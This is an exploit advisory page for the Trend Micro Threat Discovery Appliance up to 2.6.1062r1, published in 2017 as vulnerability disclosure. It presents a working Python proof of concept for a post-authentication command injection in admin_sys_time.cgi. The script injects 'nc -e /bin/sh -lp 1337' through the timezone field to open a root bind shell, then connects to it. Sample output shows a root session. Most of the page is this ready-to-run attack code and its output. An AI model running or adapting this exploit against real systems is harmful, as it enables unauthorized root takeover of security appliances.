Trend Micro TDA 2.6.1062r1 admin_sys_time.cgi Remote Code Execution

Published
Credit
Risk
2017.04.20
Steven Seeley
High
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 admin_sys_time.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
exit

"""

import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/admin_sys_time.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
# now we setup our backdoor
# no reverse, since it seems to fail !?
netcat = "America/Los_Angeles|`nc -e /bin/sh -lp 1337`"
s.post(e_url, data={'act':'save','timezone': netcat}, verify=False, proxies={"http":"http://127.0.0.1:8081"})

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."

thread = threading.Thread(target=exec_bd, args=(s, e_url,))
thread.start()

print "(+) starting backdoor, this will take a few secs..."
time.sleep(2)

print "(+) calling backdoor!"
os.system("nc %s 1337" % t)

else:
print "(-) login failed"
sys.exit(-1)


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com